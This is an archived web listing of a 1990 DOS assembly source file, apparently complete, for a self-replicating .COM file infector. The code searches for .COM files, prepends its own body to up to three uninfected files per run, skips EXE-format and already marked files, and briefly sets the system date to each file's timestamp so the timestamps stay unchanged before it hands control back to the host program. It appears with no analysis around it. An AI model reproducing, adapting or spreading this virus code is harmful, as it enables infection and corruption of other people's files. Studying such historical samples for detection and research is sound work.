home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VVV9.ASM < prev    next >
Assembly Source File  |  1990-11-16  |  3KB  |  189 lines

  1. .model    tiny
  2. .code
  3. org     100h
  4. kkk:
  5.     nop            ; ID
  6. count    db    90h        ; ID
  7.  
  8.     mov    cx,80h
  9.     mov    si,0080h
  10.     mov    di,0ff7fh
  11.     rep    movsb        ; save param
  12.  
  13.     lea    ax,begp        ; begin prog
  14.     mov    cx,ax
  15.         sub     ax,100h
  16.         mov     ds:[0fah],ax   ; len VIR
  17.     add    cx,fso
  18.         mov     ds:[0f8h],cx   ; begin buffer W
  19.         ADD     CX,AX
  20.         mov     ds:[0f6h],cx   ; begin buffer R
  21.  
  22.         mov     cx,ax
  23.     lea    si,kkk
  24.         mov     di,ds:[0f8h]
  25. RB:     REP     MOVSB           ; move v
  26.  
  27.     mov    al,3        ; inf. only 3 file
  28.     mov    count,al
  29.  
  30.     mov    ah,2ah
  31.     int    21h
  32.     mov    ds:[0f2h],dx    ;
  33.     mov    ds:[0f4h],cx    ; save system date
  34.  
  35.         stc
  36.  
  37.         LEA     DX,FFF
  38.         MOV     AH,4EH
  39.         MOV     CX,20H
  40.         INT     21H        ;  find first
  41.  
  42.     or    ax,ax
  43.     jz    LLL
  44.     jmp    done
  45.  
  46. LLL:
  47.     MOV     AH,2FH
  48.         INT     21H        ; get DTA
  49.  
  50.     mov    ax,es:[bx+1ah]
  51.         mov     ds:[0fch],ax   ; size
  52.     add    bx,1eh
  53.         mov     ds:[0feh],bx   ; point to name
  54.  
  55.     mov    ax,'OC'        ; "CO"
  56.     sub    ax,ds:[009eh]
  57.     jne    cont0        ; if file name CO*.com then skip
  58.     jmp    fin
  59.  
  60. cont0:
  61.     add    ax,180h        ; if new len file + len VIR + 180h > FFF0
  62.     add    ax,ds:[0fah]    ;    then skip this file
  63.     add    ax,fso
  64.     cmp    ax,0fff0h
  65.     jna    cont2
  66.     jmp    fin
  67.  
  68. cont2:
  69.     mov    cx,ds:[98h]
  70.     and    cx,001fh
  71.     mov    dl,cl
  72.     mov    ax,ds:[98h]
  73.     and    ax,01e0h
  74.     mov    cl,5
  75.     sar    ax,cl
  76.     mov    dh,al
  77.     mov    ax,ds:[98h]
  78.     and    ax,0fe00h
  79.     mov    cl,9
  80.     sar    ax,cl
  81.     mov    cx,ax
  82.     add    cx,1980
  83.     mov    ah,2bh
  84.     int    21h        ; set system time
  85.  
  86.     clc
  87.     mov    ax,3d02h
  88.     mov    dx,bx
  89.     int    21h        ; open file
  90.  
  91.     mov    bx,ax
  92.     mov    ah,3fh
  93.         mov     cx,ds:[0fch]
  94.         mov     dx,ds:[0f6h]
  95.     int    21h        ; read file
  96.  
  97.     mov    bx,dx
  98.     mov    ax,[bx]
  99.     cmp    ax,9090h
  100.     je    fin        ; if file inf. then skip this file
  101.     cmp    ax,'ZM'
  102.     je    fin        ; if file .COM is EXE then skip
  103.  
  104.     mov    di,dx
  105.     mov    cx,ds:[0fch]
  106. NEWS:
  107.         or      cx,cx
  108.         js      cont
  109.         mov     al,'M'
  110.     repne    scasb
  111.         jne     cont
  112.     mov    al,'Z'
  113.     cmp    es:[di],al
  114.     je    fin        ; if converted then skip
  115.         jmp     news
  116.  
  117. cont:
  118.         MOV     AX,ds:[0fch]
  119.         mov     bx,ds:[0f6h]
  120.         mov     [bx-2],ax      ; correct old len
  121.  
  122.     mov    ah,3ch
  123.     mov    cx,00h
  124.         mov     dx,ds:[0feh]   ; point to name
  125.     clc
  126.     int    21h        ; create file
  127.  
  128.     mov    bx,ax        ; #
  129.     mov    ah,40h
  130.         mov     cx,ds:[0fch]
  131.         add     cx,ds:[0fah]
  132.         mov     DX,ds:[0f8h]
  133.     int    21h        ; write file
  134.  
  135.  
  136.     mov    ah,3eh
  137.     int    21h        ;close file
  138.  
  139.     dec    count
  140.     jz    done
  141.  
  142. FIN:
  143.     stc
  144.     mov    ah,4fh
  145.     int    21h        ; find next
  146.  
  147.     or    ax,ax
  148.     jnz    done
  149.  
  150.         JMP     lll
  151.  
  152. DONE:
  153.     mov    dx,ds:[0f2h]
  154.     mov    cx,ds:[0f4h]
  155.     mov    ah,2bh
  156.     int    21h
  157.  
  158.     mov    cx,80h
  159.     mov    si,0ff7fh
  160.     mov    di,0080h
  161.     rep    movsb        ; restore param
  162.  
  163.         MOV     AX,0A4F3H
  164.         mov     ds:[0fff9h],ax
  165.     mov    al,0eah
  166.     mov    ds:[0fffbh],al
  167.     mov    ax,100h
  168.     mov    ds:[0fffch],ax    ; remove REP MOVSB and FAR JMP cs:0100
  169.  
  170.     lea    si,begp
  171.     lea    di,kkk
  172.     mov    ax,cs
  173.     mov    ds:[0fffeh],ax
  174.     mov    kk,ax
  175.     mov    cx,fso
  176.  
  177.     db    0eah
  178.         dw      0fff9h
  179. kk    dw    0000h
  180.  
  181. fff    db    '*?.com',0
  182. fso    dw    0005h    ; source len file
  183.  
  184.  
  185. begp:
  186.     MOV     AX,4C00H
  187.     int     21h        ; exit
  188.  
  189. end    kkk